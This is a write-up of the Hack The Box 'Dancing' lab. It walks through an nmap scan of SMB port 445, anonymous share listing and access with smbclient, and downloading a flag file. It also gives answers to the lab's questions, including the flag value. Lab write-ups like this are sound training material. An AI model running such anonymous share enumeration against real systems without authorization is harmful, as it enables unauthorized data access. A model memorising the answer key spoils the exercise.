



TARGET MACHINE IP ADDRESS
10.129.1.12

1. What does the 3-letter acronym SMB stand for?

Answer: Server Message Block

2. What port does SMB use to operate at?

Answer: 445

3. What is the service name for port 445 that came up in our Nmap scan?

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ nmap -Pn -sV -p 445 10.129.1.12
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 07:31 EDT
Nmap scan report for 10.129.1.12
Host is up (0.068s latency).

PORT      STATE SERVICE      VERSION
445/tcp   open  microsoft-ds?


```

Answer: microsoft-ds

4. What is the 'flag' or 'switch' that we can use with the smbclient utility to 'list' the available shares on Dancing?

Answer: -L

5. How many shares are there on Dancing?

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ smbclient -L //10.129.1.12 -N

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
WorkShares     Disk
```

Answer : 4

6. What is the name of the share we are able to access in the end with a blank password?

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ smbclient //10.129.1.12/WorkShares -N

Try "help" to get a list of possible commands.
smb: \>
```

Answer: WorkShares

7. What is the command we can use within the SMB shell to download the files we find?

```
smb: \> ls

.                D          0  Mon Mar 29 04:22:01 2021
..               D          0  Mon Mar 29 04:22:01 2021
Amy.J            D          0  Mon Mar 29 05:08:24 2021
James.P          D          0  Thu Jun  3 04:38:03 2021
```

```
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
```

Answer: get

8. Submit root flag

```
(kali㉿kali)-[~/Desktop/HTB/labs]
$ cat flag.txt
5f61c10dffbc77a704d76016a22f1664
```

Answer: 5f61c10dffbc77a704d76016a22f1664